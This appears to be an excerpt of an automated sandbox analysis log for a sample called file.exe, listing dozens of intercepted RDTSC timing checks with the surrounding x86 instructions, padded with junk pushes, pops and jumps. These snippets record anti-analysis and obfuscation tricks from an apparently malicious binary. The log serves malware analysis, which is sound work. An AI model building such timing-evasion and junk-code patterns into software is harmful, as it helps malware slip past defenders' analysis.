Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43B0B4 second address: 43B0BA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55022B second address: 550231 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 550231 second address: 550249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0BD0394h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500B0 second address: 5500B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500B6 second address: 5500C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500C1 second address: 5500CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jc 00007F61C0D2D44Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5500CF second address: 5500E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F61C0BD038Ah 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007F61C0BD0386h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551DF0 second address: 551E0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F61C0D2D459h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551E0D second address: 551E29 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F61C0BD0390h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551E29 second address: 551E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551FD3 second address: 551FD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C674 second address: 56C6AD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F61C0D2D446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e push edx 0x0000000f pop edx 0x00000010 jmp 00007F61C0D2D456h 0x00000015 pop edi 0x00000016 jmp 00007F61C0D2D452h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4343D7 second address: 434400 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F61C0BD0397h 0x00000008 jmp 00007F61C0BD038Dh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 434400 second address: 434424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F61C0D2D44Fh 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F61C0D2D44Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B773 second address: 56B79D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jmp 00007F61C0BD0390h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F61C0BD038Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B79D second address: 56B7A7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F61C0D2D446h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B7A7 second address: 56B7C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F61C0BD0391h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B92E second address: 56B93C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F61C0D2D44Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C1C6 second address: 56C1E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F61C0BD0386h 0x0000000a jmp 00007F61C0BD038Bh 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C1E2 second address: 56C1E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C1E8 second address: 56C1EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C39E second address: 56C3A8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F61C0D2D446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5707CC second address: 5707F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0BD0392h 0x00000009 pop edi 0x0000000a jmp 00007F61C0BD0396h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 572620 second address: 572624 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0E74 second address: 4BB0E8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F61C0BD0395h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0E8D second address: 4BB0EB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F61C0D2D44Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0EB4 second address: 4BB0F07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F61C0BD0397h 0x00000009 sbb cx, 477Eh 0x0000000e jmp 00007F61C0BD0399h 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a pushad 0x0000001b call 00007F61C0BD038Dh 0x00000020 pop ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 push esi 0x00000024 pop ebx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0F07 second address: 4BB0F72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D456h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F61C0D2D450h 0x00000010 mov ebp, esp 0x00000012 jmp 00007F61C0D2D450h 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F61C0D2D44Dh 0x00000021 sub esi, 2D5AEF26h 0x00000027 jmp 00007F61C0D2D451h 0x0000002c popfd 0x0000002d mov edi, esi 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0D74 second address: 4BA0D86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F61C0BD038Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0D86 second address: 4BA0DA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov eax, 5E233809h 0x0000000f mov al, 4Bh 0x00000011 popad 0x00000012 mov dword ptr [esp], ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov esi, 698D3579h 0x0000001d mov ax, B035h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0BA3 second address: 4BE0BA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0BA9 second address: 4BE0BBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ebx, 09436526h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0BBB second address: 4BE0BC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0BC1 second address: 4BE0BEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D455h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F61C0D2D44Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80091 second address: 4B800A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F61C0BD038Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B800A3 second address: 4B80156 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b movsx edi, si 0x0000000e pop ecx 0x0000000f push ebx 0x00000010 jmp 00007F61C0D2D44Eh 0x00000015 pop ecx 0x00000016 popad 0x00000017 mov dword ptr [esp], ebp 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F61C0D2D457h 0x00000021 add ah, 0000001Eh 0x00000024 jmp 00007F61C0D2D459h 0x00000029 popfd 0x0000002a pushfd 0x0000002b jmp 00007F61C0D2D450h 0x00000030 adc cl, 00000018h 0x00000033 jmp 00007F61C0D2D44Bh 0x00000038 popfd 0x00000039 popad 0x0000003a mov ebp, esp 0x0000003c jmp 00007F61C0D2D456h 0x00000041 push dword ptr [ebp+04h] 0x00000044 pushad 0x00000045 mov eax, 2DAF848Dh 0x0000004a popad 0x0000004b push dword ptr [ebp+0Ch] 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 mov bx, si 0x00000054 call 00007F61C0D2D44Ch 0x00000059 pop eax 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80156 second address: 4B80186 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD0390h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F61C0BD0397h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B80186 second address: 4B8018B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B801A0 second address: 4B801A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B801A4 second address: 4B801AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B801AA second address: 4B801C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD0390h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B801C5 second address: 4B801C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B801C9 second address: 4B801CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0B3E second address: 4BA0B44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA076D second address: 4BA0771 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0771 second address: 4BA0777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0777 second address: 4BA0788 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F61C0BD038Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0788 second address: 4BA07AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F61C0D2D44Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA066D second address: 4BA068C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD038Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F61C0BD038Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA03D8 second address: 4BA03DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA03DE second address: 4BA03F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD038Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA03F7 second address: 4BA03FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA03FB second address: 4BA0454 instructions: 0x00000000 rdtsc 0x00000002 mov dl, ah 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007F61C0BD0397h 0x0000000f adc cx, DCCEh 0x00000014 jmp 00007F61C0BD0399h 0x00000019 popfd 0x0000001a popad 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e jmp 00007F61C0BD038Eh 0x00000023 pop ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA0454 second address: 4BA045A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0156 second address: 4BB0169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F61C0BD038Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0169 second address: 4BB0183 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, bh 0x00000005 mov ax, D3E9h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F61C0D2D44Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0183 second address: 4BB01CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F61C0BD038Fh 0x00000009 or ch, FFFFFFCEh 0x0000000c jmp 00007F61C0BD0399h 0x00000011 popfd 0x00000012 push esi 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 jmp 00007F61C0BD038Dh 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB01CD second address: 4BB01D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB01D1 second address: 4BB01D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB01D7 second address: 4BB021A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0D2D452h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c call 00007F61C0D2D44Eh 0x00000011 mov dx, cx 0x00000014 pop eax 0x00000015 mov bl, A9h 0x00000017 popad 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F61C0D2D450h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB021A second address: 4BB021E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB021E second address: 4BB0224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0B2D second address: 4BE0B73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD0396h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F61C0BD0390h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F61C0BD0397h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC0349 second address: 4BC03C0 instructions: 0x00000000 rdtsc 0x00000002 mov bx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov si, 0D2Dh 0x0000000b popad 0x0000000c mov eax, dword ptr [ebp+08h] 0x0000000f jmp 00007F61C0D2D458h 0x00000014 and dword ptr [eax], 00000000h 0x00000017 jmp 00007F61C0D2D450h 0x0000001c and dword ptr [eax+04h], 00000000h 0x00000020 pushad 0x00000021 mov ecx, 518C2C7Dh 0x00000026 pushfd 0x00000027 jmp 00007F61C0D2D44Ah 0x0000002c and esi, 268EFF58h 0x00000032 jmp 00007F61C0D2D44Bh 0x00000037 popfd 0x00000038 popad 0x00000039 pop ebp 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F61C0D2D450h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC03C0 second address: 4BC03C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC03C4 second address: 4BC03CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA05A0 second address: 4BA05A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA05A4 second address: 4BA05AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA05AA second address: 4BA05B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F61C0BD038Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0DAB second address: 4BB0DB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0DB3 second address: 4BB0E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F61C0BD038Eh 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f jmp 00007F61C0BD038Eh 0x00000014 mov si, 35C1h 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b pushad 0x0000001c mov edx, ecx 0x0000001e pushfd 0x0000001f jmp 00007F61C0BD0396h 0x00000024 adc esi, 3094F908h 0x0000002a jmp 00007F61C0BD038Bh 0x0000002f popfd 0x00000030 popad 0x00000031 pop ebp 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F61C0BD0395h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB0E25 second address: 4BB0E35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F61C0D2D44Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC01A2 second address: 4BC01A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC01A8 second address: 4BC01B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F61C0D2D44Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC01B9 second address: 4BC01BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC01BD second address: 4BC01DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F61C0D2D44Dh 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC01DB second address: 4BC01DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC01DF second address: 4BC01E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC01E5 second address: 4BC01EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC01EA second address: 4BC01F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0254 second address: 4BE0258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0258 second address: 4BE025C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE025C second address: 4BE0262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0262 second address: 4BE0268 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0268 second address: 4BE026C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE026C second address: 4BE0298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F61C0D2D450h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F61C0D2D44Ch 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE0298 second address: 4BE02CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F61C0BD0391h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov eax, 4D7FF0B3h 0x00000010 mov dx, ax 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F61C0BD0391h 0x0000001d rdtsc
